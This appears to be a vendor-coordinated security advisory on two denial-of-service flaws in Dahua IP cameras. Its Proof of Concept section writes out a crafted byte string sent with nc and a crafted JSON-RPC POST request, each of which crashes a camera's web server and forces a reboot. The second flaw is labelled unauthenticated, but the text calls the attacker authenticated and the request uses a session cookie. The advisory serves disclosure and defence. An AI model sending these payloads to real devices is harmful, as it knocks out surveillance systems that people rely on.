Committed to enabling a smarter society and better living, Dahua\nactively implements its Dahua Think#2.0 strategy, evolving from \u201cIntelligence\u201d\nto \u201cIntegrated Intelligence\u201d to drive digital innovation and transformation for\ncities and enterprises. The company supports urban development by enhancing\nmanagement efficiency, enabling autonomous city operations, upgrading public\nsafety systems, and advancing ecological governance. In the enterprise sector,\nDahua focuses on strengthening security systems, increasing operational\nproductivity, and enabling data-driven decision-making to help businesses\nthrive.\"\nSource: https://www.dahuasecurity.com/aboutUs/introduction/0\nVulnerable versions\n-------------------------------------------------------------------------------\nDH_IPC-HX5XXX-single-Riemann_MultiLang_PN_Stream4_V3.142.0000000.8.R.250826\nWe know that more firmware versions are prone to this DoS vulnerabilities, but\nwe cannot determine all exact versions. Other cameras from Dahua seems to not\nhave a watchdog. Therefore, they do not trigger an automatic reboot and stay in\na temporary bricked state.\nAccording to the vendor, the following series are affected:\n\"Part of IPC\u3001SD\u3001NVR\u3001XVR\u3001EVS\u3001VTO\u3001VTH\u3001ASI\u3001TPC\"\nSee:\nhttps://www.dahuasecurity.com/about-dahua/trust-center/dahua-psirt/dhcc-sa-202606-001:-security-advisory-%E2%80%93-vulnerabilities-found-in-some-dahua-products\nhttps://materialfile.dahuasecurity.com/new_uploads_formal/soft/20260609/Affected_Models.pdf\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Authenticated Denial-of-Service (CVE-2026-29115)\nA temporary DoS (Denial of Service) condition can be triggered on the device.\nThis leads to a reboot of the full system, which affects its availability.\n2) Unauthenticated Denial-of-Service (CVE-2026-29116)\nA Denial of Service condition can be triggered on the device, which is\ntemporary on newer camera series but can also be persisten on older Dahua\ndevices. This is due to the usage of a watchdog in the newer camera firmware.\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authenticated Denial-of-Service (CVE-2026-29115)\nThe following command can be used to force the denial of service state:\n$ echo -ne \n\"\\x20\\x00\\x00\\x00\\x44\\x48\\x49\\x50\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x49\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x49\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7b\\x20\\x0a\"\n | nc 192.168.19.136 80\nThe address 192.168.19.136 was used in this example as camera IP. After\nexecuting, the web server crashes and the device triggers a reboot. This takes\na few minutes, resulting in black screens on the video surveillance systems on\nthe windows clients for that time.\n2) Unauthenticated Denial-of-Service (CVE-2026-29116)\nAn authenticated attacker can crash the webserver with a crafted request under\nthe condition, that an SD card is inserted. If both pre-conditions are met, the\nfollowing POST request can be used to kill the web server:\n-----------------------------------------------------\nPOST /RPC2 HTTP/1.1\nHost: 192.168.19.136\nContent-Length: 139\nAccept-Language: de-DE,de;q=0.9\nAccept: application/json, text/plain, /\nContent-Type: application/json\nOrigin: http://192.168.19.136\nReferer: http://192.168.19.136/\nAccept-Encoding: gzip, deflate, br\nCookie: WebClientHttpSessionID=\u003cSession-ID\u003e\nConnection: keep-alive\n{\"method\":\"workDirectory.factory.instance\",\"params\":{\"name\":\"/mnt/dvr/mmc2p2_0aaaa\"},\"id\":213,\"session\":\"\u003cSession-ID\u003e\"}\n-----------------------------------------------------\nThe address 192.168.19.136 was used in this example as camera IP. After\nexecuting, the web server crashes and the device triggers a reboot. This takes\na few minutes, resulting in black screens on the video surveillance systems on\nthe windows clients for that time.\nSolution\n-------------------------------------------------------------------------------\nInstall patches immediately.\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device in the infrastructure. Do not expose the\nweb interface to the Internet or in public networks.\n\nRecommendation\n-------------------------------------------------------------------------------\nCyberDanube recommends to perform a white-box security assessment of the Dahua\nDH-IPC-HFWXXXX devices.\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-12-18: Contacting Dahua PSIRT via cybersecurity () dahuatech com and sending\nadvisory; No answer.\n2026-02-04: Asking for a timeline; No answer.\n2026-02-24: Asking for a timeline; No answer.\n2026-03-05: Asking for a timeline and including psirt () dahuatech com.

Confirmation from PSIRT.\n2026-03-17: PSIRT confirms the vulnerabilities and asked for shifting the\ndisclosure date back by 90 days. Agreed due to the criticality of\nthe finding and the mass-usage of this products.\n2026-03-20/23/27: Ongoing communication in both directions.\n2026-06-04: Asked for the exact disclosure date for the Dahua announcement.\nPSIRT responded that it will go public 2026-06-10.\n2026-06-11: Coordinated disclosure of vulnerabilities.\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\nEOF T.
